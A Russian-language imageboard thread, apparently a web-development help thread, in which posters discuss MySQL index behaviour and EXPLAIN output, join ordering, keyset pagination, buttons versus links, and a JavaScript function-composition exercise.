| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+-------+------+---------------+-------+---------+-------+------+--------------------------+
| 1 | SIMPLE | test | ref | ix_ab | ix_ab | 4 | const | 8 | Using where; Using index |

>ref: All rows with matching index values are read from this table for each combination of rows from the previous tables.


Я не понимаю эту тарабарщину, но думаю они хотели сказать то же, что и я.

SELECT x FROM t WHERE b = 1 ORDER BY a
А вот тут придется ходить по всем записям в индексе, и сравнивать его правую часть со значением, поэтому запрос затронет все записи в индексе.
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+-------+-------+---------------+-------+---------+------+---------+--------------------------+
| 1 | SIMPLE | test | index | NULL | ix_ab | 8 | NULL | 1000504 | Using where; Using index |
Но что интересно, выполнялся запрос очень быстро (0.00 секунд в обоих случаях), вероятно потому что поиск проходил по индексу, а индекс уместился в оперативной памяти, и не пришлось обращаться к диску, потому разница не заметна.

Ну все, тогда кажется начинаю понимать, почему "в запросе where col1=? order by col2" индекс нужно ставить на (col1,col2).

>>561172

>как именно он будет выполняться? Какие индексы помогут его выполнению, какие нет?


>Что поменяется если заменить JOIN на LEFT JOIN?


Не знаю.
#453 #563917
ОК, я вроде апнул левел, узнал про типы данных вроде деревьев и хеш-таблиц, алгоритмы, в частности сортировки (пузырьком, вставкой, быстрая сортировка и т.д.)
Так что попробую сделать еще один заход в понимании индексов.
(Прошу прощения, если тебе придется повторить некоторые вещи второй раз, ничего не могу поделать с тем, что до меня с первого раза не доходит)

>>561494

>Mysql идет по индексу, выбирая строки по возрастанию a, и каждую строку проверяет на соответствие условию WHERE


Хм, я почему-то думал, что всегда сначала выполняется where, а потом order.
Видимо при наличии индекса это не так. Вероятно, система перед тем как выполнить запрос, "прикидывает" возможные планы и оценивает их сложность и прочие вещи.
При наличии индекса на колонке, по которой идет сортировка, действительно удобнее пройтись сначала по индексу, где записи уже отсортированы.
Это объясняет, почему я не понимал некоторые вещи.

>>561155
Индекс на колонке a
SELECT × FROM t ORDER BY a LIMIT 10
Просто возьмет первые десять записей из индекса (вернее, ссылки на них, в индексе ведь хранится только кусочек значения проиндексированной колонки определенной длины + id записи в таблице).
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+-------+-------+---------------+------+---------+------+------+-------+
| 1 | SIMPLE | test | index | NULL | ix_a | 4 | NULL | 10 | |

SELECT × FROM t ORDER BY b LIMIT 10 (по колонке b нет индекса)
Сначала отсортирует всю таблицу (с миллионом записей, например), затем выберет первые 10 записей. Фуллскан с сортировкой.
1 | SIMPLE | test | ALL | NULL | NULL | NULL | NULL | 1000504 | Using filesort

SELECT x FROM t WHERE a > ? ORDER BY a LIMIT 10
Начнет ходить по индексу по порядку, проверяя каждую запись на соответствие условию where, пока не наберется 10 записей.
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+-------+-------+---------------+------+---------+------+--------+-------------+
| 1 | SIMPLE | test | range | ix_a | ix_a | 4 | NULL | 500252 | Using where |

>using where


>A WHERE clause is used to restrict which rows to match against the next table or send to the client.


Не понимаю, что они хотели сказать. Что за "next table"?

>The type column of EXPLAIN output describes how tables are joined. The following list describes the join types, ordered from the best type to the worst


Но у меня одна таблица, при чем тут джойны и способы их соединения? Или они имею ввиду объединение индекса (который возможно тоже можно представить в виде таблицы) с основной таблицей?

SELECT x FROM t WHERE b <> ? ORDER BY a LIMIT 10
Опять-таки, начнет ходить по индексу по порядку, проверяя условие, пока не подберет 10 подходящих записей.
Вроде бы результат explain не должен отличаться от where a > ? order by a limit 10
Но я уже привык к сюрпризам.
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+-------+-------+---------------+------+---------+------+------+-------------+
| 1 | SIMPLE | test | index | NULL | ix_a | 4 | NULL | 10 | Using where |
Нет, вроде все в порядке. Только вместо range получили index. Не знаю, как на это реагировать. Ну понятно, что здесь просто другое условие в where, там диапазон, а здесь равно/не равно, но что мне это дает?
Кстати, почему в предыдущем запросе rows получилось 500 тысяч (всего в таблице миллион), а теперь только 10? Ведь в первом запросе тоже стоит limit 10.
rows как я узнал означает "кол-во затронутых записей". Можно предположить, что значение rows означает кол-во записей, соответствующих условию, то есть сначала бинарным поиском mysql находит заданную величину в индексе, возвращает нам 10 записей благодаря limit, но сообщает о кол-ве записей, соответствующих условию. Мне это кажется странным, это ведь не кол-во реально "затронутых" записей. Под затронутыми я понимаю, что с этими записями производилась какая-то операция сравнения, но ведь здесь этого не было. Писали бы кол-во итераций, которое было осуществлено при бинарном поиске, чтобы найти величину, заданную в поиске.

SELECT MAX(a) FROM t
Здесь все просто, отдает из индекса одну (последнюю) запись.

>Select tables optimized away


>The query contained only aggregate functions (MIN(), MAX()) that were all resolved using an index, or COUNT(x), and no GROUP BY clause. The optimizer determined that only one row should be returned.


Ну вроде я это и сказал, только на человеческом языке.
А что с COUNT? Индекс используется при select count(x), но не вижу выигрыша в производительности. select count(x) на миллионе записей не отличается от select count(b), оба запроса занимают 0.55 секунды.
Я так понимаю, и в первом и втором случае производится подсчет кол-ва записей либо в индексе, либо в главной таблице. А поскольку оно одинаково, то и время одинаковое. Получается, нужно кешировать.

SELECT MAX(a) FROM t WHERE a < ?
Найдет бинарным поиском значение '?', отбросит все значения ниже данного, вернет последнюю строку из оставшегося.
Рискну даже предположить, что напишет explain. Наверное, type=range, extra = select tables optimized away, поскольку в условии диапазон, а в самом запросе агрегатная функция.
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+-------+------+---------------+------+---------+------+------+------------------------------+
| 1 | SIMPLE | NULL | NULL | NULL | NULL | NULL | NULL | NULL | Select tables optimized away |
Нет, почему-то type=null. И rows null, очень странно.

SELECT x FROM t WHERE a < ? ORDER BY a DESC LIMIT 10
А вот с DESC я не знаю, как он поступит. Он может читать файл с конца? Если может, то будет читать с конца, проверяя строки на условие, пока не наберет 10 строк.
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+-------+-------+---------------+------+---------+------+--------+-------------+
| 1 | SIMPLE | test | range | ix_a | ix_a | 4 | NULL | 500252 | Using where |

Теперь индекс из двух полей (a, b).
SELECT x FROM t WHERE a = 1 ORDER BY b
Нужно взять из индекса все записи, где a > 0 и a < 2, после чего отсортировать по правой части индекса.
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+-------+------+---------------+-------+---------+-------+------+--------------------------+
| 1 | SIMPLE | test | ref | ix_ab | ix_ab | 4 | const | 8 | Using where; Using index |

>ref: All rows with matching index values are read from this table for each combination of rows from the previous tables.


Я не понимаю эту тарабарщину, но думаю они хотели сказать то же, что и я.

SELECT x FROM t WHERE b = 1 ORDER BY a
А вот тут придется ходить по всем записям в индексе, и сравнивать его правую часть со значением, поэтому запрос затронет все записи в индексе.
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+-------+-------+---------------+-------+---------+------+---------+--------------------------+
| 1 | SIMPLE | test | index | NULL | ix_ab | 8 | NULL | 1000504 | Using where; Using index |
Но что интересно, выполнялся запрос очень быстро (0.00 секунд в обоих случаях), вероятно потому что поиск проходил по индексу, а индекс уместился в оперативной памяти, и не пришлось обращаться к диску, потому разница не заметна.

Ну все, тогда кажется начинаю понимать, почему "в запросе where col1=? order by col2" индекс нужно ставить на (col1,col2).

>>561172

>как именно он будет выполняться? Какие индексы помогут его выполнению, какие нет?


>Что поменяется если заменить JOIN на LEFT JOIN?


Не знаю.
#454 #563924
>>563917

> SELECT x FROM t WHERE a > ? ORDER BY a LIMIT 10


Начнет ходить по индексу по порядку, проверяя каждую запись на соответствие условию where, пока не наберется 10 записей.

Это невыгодно так как может нам надо 100 000 записей обойти пока дойдем до нужной.

Выгоднее найти в индексе бинарным поиском значение ? и взять следующие за ним 10 записей из индекса.

Что и пишет EXPLAIN: range - это как раз поиск в индексе по условиям >, < , BETWEEN.

>>A WHERE clause is used to restrict which rows to match against the next table or send to the client.


> Не понимаю, что они хотели сказать. Что за "next table"?



Это когда таблиц несколько, а в твоем случае restrict which rows ... send to the client

То есть просто применяется WHERE для отфильтровки строк.

Ну и я думаю, там не 500 000 строк проверяется, он ведь быстро выполняется?

>>The type column of EXPLAIN output describes how tables are joined. The following list describes the join types, ordered from the best type to the worst


> Но у меня одна таблица


У тебя джойны не при чем и type просто значит способ выборки данных.

> Нет, вроде все в порядке. Только вместо range получили index. Не знаю, как на это реагировать. Ну понятно, что здесь просто другое условие в where, там диапазон, а здесь равно/не равно, но что мне это дает?


Почитай определения типов range и index, range там потому что поиск в индексе идет по условию WHERE a > ?

> Кстати, почему в предыдущем запросе rows получилось 500 тысяч (всего в таблице миллион), а теперь только 10? Ведь в первом запросе тоже стоит limit 10.


Я думаю 500 000 это число потенциально перебираемых строк в худшем случае, когда ни одна не соответствует условию. Понятно что там такого никогда не будет, но mysql видимо до этого не догадался.
#454 #563924
>>563917

> SELECT x FROM t WHERE a > ? ORDER BY a LIMIT 10


Начнет ходить по индексу по порядку, проверяя каждую запись на соответствие условию where, пока не наберется 10 записей.

Это невыгодно так как может нам надо 100 000 записей обойти пока дойдем до нужной.

Выгоднее найти в индексе бинарным поиском значение ? и взять следующие за ним 10 записей из индекса.

Что и пишет EXPLAIN: range - это как раз поиск в индексе по условиям >, < , BETWEEN.

>>A WHERE clause is used to restrict which rows to match against the next table or send to the client.


> Не понимаю, что они хотели сказать. Что за "next table"?



Это когда таблиц несколько, а в твоем случае restrict which rows ... send to the client

То есть просто применяется WHERE для отфильтровки строк.

Ну и я думаю, там не 500 000 строк проверяется, он ведь быстро выполняется?

>>The type column of EXPLAIN output describes how tables are joined. The following list describes the join types, ordered from the best type to the worst


> Но у меня одна таблица


У тебя джойны не при чем и type просто значит способ выборки данных.

> Нет, вроде все в порядке. Только вместо range получили index. Не знаю, как на это реагировать. Ну понятно, что здесь просто другое условие в where, там диапазон, а здесь равно/не равно, но что мне это дает?


Почитай определения типов range и index, range там потому что поиск в индексе идет по условию WHERE a > ?

> Кстати, почему в предыдущем запросе rows получилось 500 тысяч (всего в таблице миллион), а теперь только 10? Ведь в первом запросе тоже стоит limit 10.


Я думаю 500 000 это число потенциально перебираемых строк в худшем случае, когда ни одна не соответствует условию. Понятно что там такого никогда не будет, но mysql видимо до этого не догадался.
#455 #563927
>>563917

> Мне это кажется странным, это ведь не кол-во реально "затронутых" записей. Под затронутыми я понимаю, что с этими записями производилась какая-то операция сравнения, но ведь здесь этого не было. Писали бы кол-во итераций, которое было осуществлено при бинарном поиске, чтобы найти величину, заданную в поиске.



Видимо это оценка (на основе индекса), а не точное число. Ведь чтобы получить точное число надо выполнить запрос, а EXPLAIN только составляет план. В мануале все написано:

> rows


> The rows column indicates the number of rows MySQL believes it must examine to execute the query.


> For InnoDB tables, this number is an estimate, and may not always be exact.



https://dev.mysql.com/doc/refman/5.0/en/explain-output.html#explain-join-types

> Я так понимаю, и в первом и втором случае производится подсчет кол-ва записей либо в индексе, либо в главной таблице. А поскольку оно одинаково, то и время одинаковое. Получается, нужно кешировать.


Да. Или не делать такие запросы которые обходят миллион строк.

> Нет, почему-то type=null. И rows null, очень странно.


Видимо из-за того что optimized away, выборка строк не делалась, потому и нуллы.

> А вот с DESC я не знаю, как он поступит. Он может читать файл с конца? Если может, то будет читать с конца, проверяя строки на условие, пока не наберет 10 строк.


Может, по индексу можно ходить в обе стороны. Он там пишет 500 000 rows но на деле ведь запрос выполняется быстро?

>>ref: All rows with matching index values are read from this table for each combination of rows from the previous tables.


> Я не понимаю эту тарабарщину, но думаю они хотели сказать то же, что и я.


ref это по моему когда у нас условие WHERE a = 1 которое попадает в индекс.

> Но что интересно, выполнялся запрос очень быстро (0.00 секунд в обоих случаях), вероятно потому что поиск проходил по индексу, а индекс уместился в оперативной памяти, и не пришлось обращаться к диску, потому разница не заметна.


А ты SQL_NO_CACHE пишешь чтобы в кеш запросов не попасть?

Там по идее полный обход по индексу получился.

>>Что поменяется если заменить JOIN на LEFT JOIN?


> Не знаю.


По джойнам - посмотри ответы на твой пост, я же вроде писал уже: >>561503
#455 #563927
>>563917

> Мне это кажется странным, это ведь не кол-во реально "затронутых" записей. Под затронутыми я понимаю, что с этими записями производилась какая-то операция сравнения, но ведь здесь этого не было. Писали бы кол-во итераций, которое было осуществлено при бинарном поиске, чтобы найти величину, заданную в поиске.



Видимо это оценка (на основе индекса), а не точное число. Ведь чтобы получить точное число надо выполнить запрос, а EXPLAIN только составляет план. В мануале все написано:

> rows


> The rows column indicates the number of rows MySQL believes it must examine to execute the query.


> For InnoDB tables, this number is an estimate, and may not always be exact.



https://dev.mysql.com/doc/refman/5.0/en/explain-output.html#explain-join-types

> Я так понимаю, и в первом и втором случае производится подсчет кол-ва записей либо в индексе, либо в главной таблице. А поскольку оно одинаково, то и время одинаковое. Получается, нужно кешировать.


Да. Или не делать такие запросы которые обходят миллион строк.

> Нет, почему-то type=null. И rows null, очень странно.


Видимо из-за того что optimized away, выборка строк не делалась, потому и нуллы.

> А вот с DESC я не знаю, как он поступит. Он может читать файл с конца? Если может, то будет читать с конца, проверяя строки на условие, пока не наберет 10 строк.


Может, по индексу можно ходить в обе стороны. Он там пишет 500 000 rows но на деле ведь запрос выполняется быстро?

>>ref: All rows with matching index values are read from this table for each combination of rows from the previous tables.


> Я не понимаю эту тарабарщину, но думаю они хотели сказать то же, что и я.


ref это по моему когда у нас условие WHERE a = 1 которое попадает в индекс.

> Но что интересно, выполнялся запрос очень быстро (0.00 секунд в обоих случаях), вероятно потому что поиск проходил по индексу, а индекс уместился в оперативной памяти, и не пришлось обращаться к диску, потому разница не заметна.


А ты SQL_NO_CACHE пишешь чтобы в кеш запросов не попасть?

Там по идее полный обход по индексу получился.

>>Что поменяется если заменить JOIN на LEFT JOIN?


> Не знаю.


По джойнам - посмотри ответы на твой пост, я же вроде писал уже: >>561503
#456 #563933
>>561172

>как именно будет выполняться объединение таблиц


А, вот нашел.
http://www.mysql.ru/docs/man/EXPLAIN.html

>Для непростых соединений EXPLAIN возвращает строку информации о каждой из использованных в работе оператора SELECT таблиц. Таблицы перечисляются в том порядке, в котором они будут считываться. MySQL выполняет все связывания за один проход (метод называется "single-sweep multi-join"). Делается это так: MySQL читает строку из первой таблицы, находит совпадающую строку во второй таблице, затем - в третьей, и так далее.


Вроде понятно, неизвестно только что за "непростые соединения". Под простыми они понимают декартово произведение и прочие операции (хотя я других не знаю), где не нужно производить операций сравнения?

Индексы в таком случае конечно должны быть на всех столбцах, по которым объединяются записи. Мы обычно используем внешние ключи, которые указывают на первичный ключ в другой таблице, так что все ключи уже проставлены.
Ключ в where тоже пригодится.

По поводу порядка объединения таблиц, не понимаю, какой там механизм.

>можно проверить, насколько удачный порядок связывания таблиц был выбран оптимизатором.


Каков критерий "удачности" связывания таблиц?
Наверное, кол-во записей в таблице, я думаю что нужно стремиться слева ставить таблицу с большим кол-вом записей, тогда операция поиска соответствующего значения во второй, меньшей таблице займет меньше времени.

>>563927

>count


>не делать такие запросы которые обходят миллион строк


Я бы рад, но мне пагинатор нужен как бы. Как мне написать пагинатор, не используя count?

>select max(a) from t where a < ?


>type=null, rows=null


>Видимо из-за того что optimized away, выборка строк не делалась, потому и нуллы.


Но одну строку ведь он "выбрал", или как иначе понимать "выборку строк"?

>Может, по индексу можно ходить в обе стороны. Он там пишет 500 000 rows но на деле ведь запрос выполняется быстро?


Да, все очень быстро, максимальный запрос был кажется 0.03, часто 0.00.
sql_no_cache использую (даже в explain, хотя наверное он там не нужен)

>по джойнам посмотри ответы на твой пост


то не мой пост. Но все равно не заметил, да. Неудобно скроллить тред, там еще какие-то быдланы со сборками насрали, приходится скроллить.

>Mysql постарается сделать порядок выборки так, чтобы из первой таблицы выбрать меньше строк и использовать индекс.


Почему меньше? В чем логика?
Если я правильно понял, то мы в цикле ходим по первой таблице и ищем соответствие по ключу во второй. Операция поиска ведь должна занять меньше времени, если вторая таблица меньше, разве нет?

Остальное более менее понятно.
#456 #563933
>>561172

>как именно будет выполняться объединение таблиц


А, вот нашел.
http://www.mysql.ru/docs/man/EXPLAIN.html

>Для непростых соединений EXPLAIN возвращает строку информации о каждой из использованных в работе оператора SELECT таблиц. Таблицы перечисляются в том порядке, в котором они будут считываться. MySQL выполняет все связывания за один проход (метод называется "single-sweep multi-join"). Делается это так: MySQL читает строку из первой таблицы, находит совпадающую строку во второй таблице, затем - в третьей, и так далее.


Вроде понятно, неизвестно только что за "непростые соединения". Под простыми они понимают декартово произведение и прочие операции (хотя я других не знаю), где не нужно производить операций сравнения?

Индексы в таком случае конечно должны быть на всех столбцах, по которым объединяются записи. Мы обычно используем внешние ключи, которые указывают на первичный ключ в другой таблице, так что все ключи уже проставлены.
Ключ в where тоже пригодится.

По поводу порядка объединения таблиц, не понимаю, какой там механизм.

>можно проверить, насколько удачный порядок связывания таблиц был выбран оптимизатором.


Каков критерий "удачности" связывания таблиц?
Наверное, кол-во записей в таблице, я думаю что нужно стремиться слева ставить таблицу с большим кол-вом записей, тогда операция поиска соответствующего значения во второй, меньшей таблице займет меньше времени.

>>563927

>count


>не делать такие запросы которые обходят миллион строк


Я бы рад, но мне пагинатор нужен как бы. Как мне написать пагинатор, не используя count?

>select max(a) from t where a < ?


>type=null, rows=null


>Видимо из-за того что optimized away, выборка строк не делалась, потому и нуллы.


Но одну строку ведь он "выбрал", или как иначе понимать "выборку строк"?

>Может, по индексу можно ходить в обе стороны. Он там пишет 500 000 rows но на деле ведь запрос выполняется быстро?


Да, все очень быстро, максимальный запрос был кажется 0.03, часто 0.00.
sql_no_cache использую (даже в explain, хотя наверное он там не нужен)

>по джойнам посмотри ответы на твой пост


то не мой пост. Но все равно не заметил, да. Неудобно скроллить тред, там еще какие-то быдланы со сборками насрали, приходится скроллить.

>Mysql постарается сделать порядок выборки так, чтобы из первой таблицы выбрать меньше строк и использовать индекс.


Почему меньше? В чем логика?
Если я правильно понял, то мы в цикле ходим по первой таблице и ищем соответствие по ключу во второй. Операция поиска ведь должна занять меньше времени, если вторая таблица меньше, разве нет?

Остальное более менее понятно.
#457 #563934
>>563897

> Всегда неправильно делал.


Почему это? Зачем вообще нужны кнопки после появления ajax'a?
#458 #563943
>>563933

> Почему меньше? В чем логика?


Потому что у нас цикл, чем меньше записей в первой таблице, тем меньше итераций цикла и поисков во второй.

Поиск в индексе второй таблицы (если у нас условие ON t.a = u.b) имеет сложность O(log2(N))

Цикл по всем найденным строкам первой таблицы - сложность O(N)

Потому выгоднее уменьшать число строк в первой таблице. И если у нас джойнится 2 таблицы, и к одной из них применяется WHERE то скорее всего с нее и выгоднее начинать. А то нам придется всю вторую таблицу обходить.

> Операция поиска ведь должна занять меньше времени, если вторая таблица меньше, разве нет?


Незначительно так как там логарифм, он маленький, например log2(миллиарада) ~ 30.
#459 #563961
>>563934

Вернись к основам языка HTML и почитай для чего применяются разные теги.

> Зачем вообще нужны кнопки


Чтобы инициировать какое-то действие при нажатии очевидно.

>>563933

Там кстати есть еще более лучшая версия EXPLAIN: https://dev.mysql.com/doc/refman/5.0/en/explain-extended.html

> Вроде понятно, неизвестно только что за "непростые соединения".


Трудно угадать, не видя оригинала, может это так перевели non-STRAIGHT JOIN? На английском сайте документация более новая и совсем по другому написана.

> Индексы в таком случае конечно должны быть на всех столбцах, по которым объединяются записи. Мы обычно используем внешние ключи, которые указывают на первичный ключ в другой таблице, так что все ключи уже проставлены.


> Ключ в where тоже пригодится.


Верно, если хоть одного не будет, мы получаем фуллскан.

> По поводу порядка объединения таблиц, не понимаю, какой там механизм.


Я думаю, первой ставится таблица из которой берется минимальное число строк (либо их можно отсеять по WHERE либо сама таблица маленькая), но я не уверен.

Я погуглил и нашел вот такое:

http://jorgenloland.blogspot.ru/2012/04/improvements-for-many-table-joins-in.html

> When presented with a query, MySQL will try to find the best order to join tables by employing a greedy search algorithm. The outcome is what we call a query execution plan, QEP.


greedy search значит что перебираются все возможные перестановки порядка таблиц и каждая перестановка как-то оценивается на стоимость выборки.

> я думаю что нужно стремиться слева ставить таблицу с большим кол-вом записей,


Наоборот, с меньшим.

> Как мне написать пагинатор, не используя count?


Вообще, способ есть: http://use-the-index-luke.com/no-offset

Он применяется например на реддите (сходи, посмотри). Там он позволяет сохранять корректность пагинации если в процессе чтения человеком страницы на нее добавляются новые записи и то что было второй страницей, становится третьей.

Но если тебе нужен именно пагинатор с цифрами, придется заморочиться с кешем. Но смотри какая тут получается посдтава: если мы нажмем на предпоследнюю страницу то получим запрос вида

SELECT ... OFFSET 999999 LIMIT 20

Это по сути фуллскан, даже с индексом нам придется прочитать и пропустить миллион записей. Поисковый бот, залезший в конец пагинатора сможет причинить немало боли твоему серверу.

Пагинатор с LIMIT работает только для небольшого числа записей (кстати как альтернативное решение можно просто ограничить число страниц).
#459 #563961
>>563934

Вернись к основам языка HTML и почитай для чего применяются разные теги.

> Зачем вообще нужны кнопки


Чтобы инициировать какое-то действие при нажатии очевидно.

>>563933

Там кстати есть еще более лучшая версия EXPLAIN: https://dev.mysql.com/doc/refman/5.0/en/explain-extended.html

> Вроде понятно, неизвестно только что за "непростые соединения".


Трудно угадать, не видя оригинала, может это так перевели non-STRAIGHT JOIN? На английском сайте документация более новая и совсем по другому написана.

> Индексы в таком случае конечно должны быть на всех столбцах, по которым объединяются записи. Мы обычно используем внешние ключи, которые указывают на первичный ключ в другой таблице, так что все ключи уже проставлены.


> Ключ в where тоже пригодится.


Верно, если хоть одного не будет, мы получаем фуллскан.

> По поводу порядка объединения таблиц, не понимаю, какой там механизм.


Я думаю, первой ставится таблица из которой берется минимальное число строк (либо их можно отсеять по WHERE либо сама таблица маленькая), но я не уверен.

Я погуглил и нашел вот такое:

http://jorgenloland.blogspot.ru/2012/04/improvements-for-many-table-joins-in.html

> When presented with a query, MySQL will try to find the best order to join tables by employing a greedy search algorithm. The outcome is what we call a query execution plan, QEP.


greedy search значит что перебираются все возможные перестановки порядка таблиц и каждая перестановка как-то оценивается на стоимость выборки.

> я думаю что нужно стремиться слева ставить таблицу с большим кол-вом записей,


Наоборот, с меньшим.

> Как мне написать пагинатор, не используя count?


Вообще, способ есть: http://use-the-index-luke.com/no-offset

Он применяется например на реддите (сходи, посмотри). Там он позволяет сохранять корректность пагинации если в процессе чтения человеком страницы на нее добавляются новые записи и то что было второй страницей, становится третьей.

Но если тебе нужен именно пагинатор с цифрами, придется заморочиться с кешем. Но смотри какая тут получается посдтава: если мы нажмем на предпоследнюю страницу то получим запрос вида

SELECT ... OFFSET 999999 LIMIT 20

Это по сути фуллскан, даже с индексом нам придется прочитать и пропустить миллион записей. Поисковый бот, залезший в конец пагинатора сможет причинить немало боли твоему серверу.

Пагинатор с LIMIT работает только для небольшого числа записей (кстати как альтернативное решение можно просто ограничить число страниц).
#460 #563967
>>563933

>Но одну строку ведь он "выбрал", или как иначе понимать "выборку строк"?


Видимо там это не считается за выборку.
#461 #563974
>>563933

Ну и вообще, советую почитать этот блог (или учебник?), там например виды реализаций джойнов описываются: http://use-the-index-luke.com/sql/join
237 Кб, 1280x1024
Жалкий ньюфаг #462 #563977
Сап двач. Имеется тупой трабл. Решил позапускать разных скриптов написаных на php для ВК. Регнулся на 0hosting. Загрузил через файловый менеджер скрипт,по инструкции прописал все в cron'е,выставил вкшный токен в скрипте. ИИИИ.... Не пашет. Заебался,пытался почитать форумы ничего внятного и понятного не пишут. Подскажите что да как. Может токен не туда вставляю?
#463 #563980
>>563977
Когда локально запускаешь что пишет?
#464 #563981
Как запустить его из под
линукса локально?
#465 #563983
>>563980
как из под линукса локально запустить?
#466 #563994
>>563961

> Вернись к основам языка HTML и почитай для чего применяются разные теги.


Спецификации 90-ых сильно устарели

> > Зачем вообще нужны кнопки


> Чтобы инициировать какое-то действие при нажатии очевидно.


Для этого может послужить и ссылка, с появлением ajax'a это теперь уже интуитивно понятно. Зачем нужны лишние сущности?
Пользователи уже давно привыкли, что ссылки могут быть кнопками.
#467 #563997
Непонятная 4я задача по JS.
А именно вторая ее часть.

Что например значит строка "Эти аргументы бы передавались функции gen. Аргументов может быть любое количество." Ведь там уже не gen a add. И почему любое количество аргументов? Ведь там только а + b.

https://gist.github.com/codedokode/ce30e7a036f18f416ae0
19 Кб, 450x329
#468 #564029
>>563974

>An SQL query walks into a bar and sees two tables. He walks up to them and asks ’Can I join you?’

#469 #564034
>>563994

Ты так ничего и не понял. Попробуй щелкнуть на своей ссылке правой кнопкой и скопировать ее или «открыть в новом окне».

>>563997

Там функция add которую мы передаем в качестве аргумента gen.

> И почему любое количество аргументов? Ведь там только а + b.



Имеется в виду в качестве gen можно передать любую функцию с любым количеством аргументов.
#470 #564035
>>563994

> Для этого может послужить и ссылка, с появлением ajax'a это теперь уже интуитивно понятно.


А любому нормальному верстальщику понятно что в разметке такая псевдоссылка обозначается тегом button. А как она выглядит это уже дело десятое.
#471 #564037
>>563994

И вот интересно, откуда у тебя информация что псевдоссылки-кнопки верстаются тегом a? Я уверен что в спецификации такого не написано, ты ее не читал а просто увидел что какой-то быловерстальщик так верстает и взял с него пример.
#472 #564041
>>564037
Форум www.searchengines.ru там -->>
#473 #564123
>>563763
Я еще шарп иногда ковыряю, но я просто ахуеваю от его сложности. Нужно скроллить и зубрить всю нет библиотеку, а там еще и асп. нет есть. Куча каких-то левых форм для сборки, бд - вообще какие-то левые разновидности сокла, переписал перцептрон с хабра - так он наполовину только пашет. По ходу хорошо знать можно только один ЯП и на нем концентрироваться. Все это работа и учеба на года, даже десятилетия.
35 Кб, 480x270
#474 #564125

>нюфани не видят разницы между ссылкой и кнопкой


Я еще видел сайт одного хохла из врк, где вместо ссылок были кнопки карусели и при нажатии этих кнопок контент на старинце менялся как слайдер.
#475 #564127
>>563897
Но ведь чтобы расковырять апи жумолаы и вордпресса тоже время нужно. функции там модули дописывать.
#476 #564137
>>563651
Стори есть? С какими навыками взяли и в каком городе?
#477 #564138
Если выкладывать куски учебного кода на гитхаб - это не сильно позорно будет? Просто боюсь, что если винда наебнется, то все папки пропадут... лень флешку покупать и записывать каждый раз.
#478 #564149
>>564138
Облачные хранилища тебе в помощь
#479 #564151
>>564138
Есть аналоги с закрытыми репами - bitbucket, gitlab. А вообще реально заведи себе дропбокс и заводи все проекты там. Очень удобно, я так и по работе делаю.
#480 #564154
>>564151
thanks
53 Кб, 970x627
#481 #564205
Почему оно работает только когда два "а" в начале?
#482 #564207
а, там $i-1, 1 должно быть соре
#483 #564236
Зачем в slow-log проставляется set timestamp в каждом запросе? Этот запрос не медленный? Неужели show databases выполняется почти секунду?

# Time: 151023 13:29:52
# User@Host: root[root] @ localhost []
# Query_time: 0.771038 Lock_time: 0.000201 Rows_sent: 25 Rows_examined: 25
SET timestamp=1445596192;
show databases;
# Time: 151023 13:36:46
# User@Host: root[root] @ localhost []
# Query_time: 9.339258 Lock_time: 0.007217 Rows_sent: 1 Rows_examined: 1000000
SET timestamp=1445596606;
SELECT COUNT(*) FROM `ad`;

Пытался погуглить, но я почти ни черта не понимаю по английски.
http://stackoverflow.com/questions/2832912/how-can-set-timestamp-be-a-slow-query
https://www.percona.com/blog/2007/06/25/does-slow-query-log-logs-all-slow-queries/

>In reality it is not the fact the thread is replication thread causes queries to be omitted from slow query log but the fact thread uses SET TIMESTAMP functionality. If you do this within normal connection result would be the same.

#484 #564303
Как написать скрипт, чтобы сам находил поле ввода, вводил цифры и жал кнопку ввода? Это вообще реально?
#485 #564327
>>564303

Нет, это серверный язык.
#486 #564331
>>564303
реально, используй js
#487 #564353
>>560754
>>560756
ОП, проверь пожалуйста.
https://github.com/never3ver/catsandmice
191 Кб, 1366x737
#488 #564373
Сфинкс почему-то возвращает ровно 20 найденных айдишников.
Как заставить его отдавать больше?

Я сначала думал, что это только в консоли он ради красоты выводит первые 20 результатов, но потом оказалось, что в скрипте то же самое.
10 Кб, 979x150
#489 #564443
>>564034

>Там функция add которую мы передаем в качестве аргумента gen.



Но ведь gen там не аргумент, а функция. Аргумент там fn, даже в проверяльщике так написано.
#490 #564464
Аноны, я знаю у вас есть разные мобильные устройства, смартфоны и планшеты.

Протестируйте эту страничку в них, пожалуйста, и напишите работают ли там спойлеры (они сделаны по разной технологии, так что проверить надо все): https://jsfiddle.net/2qL32emk/embedded/result/

При тапе содержимое спойлера должно показываться.

Напишите также какой браузер вы использовали.

>>564443

Я мог наверно плохо объяснить, но работать все должно примерно так:

мы делаем функцию, состоящую из 2 более простых функций:

var composite = fmap(f1, f2);

При вызове получившейся функции composite ее аргументы передаются функции f2. Результат функции f2 передается в f1 как один аргумент. А результат f1 уже возвращается пользователю:

var result = composite(1, 2, 3);

Эквивалентно

var result = f1(f2(1, 2, 3));
#491 #564478
>>564205
Ну попробуй в начале не "а" добавить, а "б", например.
5 Кб, 442x200
270 Кб, 715x1135
#492 #564494
>>564464
Ну концепцию я значит изначально правильно понял. Первую половину решил практически сразу, а вот как передать аргументы из squareAdd в add пока не понимаю. У велосипедов моих колеса что-то не крутятся. Перечитаю статьи про arguments и про замыкания.

А насчет спойлеров, работают все, изначально закрыты, открываются по табу, закрываются если табнуть в другом месте или открыть другой спойлер. В первом спойлере полет нормальный, а во 2м и 3м случае небольшая желтая рамка вокруг спойлера.
#493 #564495
>>564494
android 4.3 браузер хром.
2589 Кб, 964x915
#494 #564542
>>562763

> - нет isset для POST


> - isset по отношению к переменным


Я в эти переменные POST-данные записал, поэтому так. Перепишу это, когда весь этот кусок переписывать буду.

> - 5 уровней вложенности кода


> - длинная простыня кода


А как в данном случае можно сделать иначе?

> - какие-то непонятные коды которые не определены как константы и которые непонятно что значат и откуда берутся


Внизу через свитч кодам отдаются комментарии об ошибке/успехе операции. Можно как-то сделать лучше?

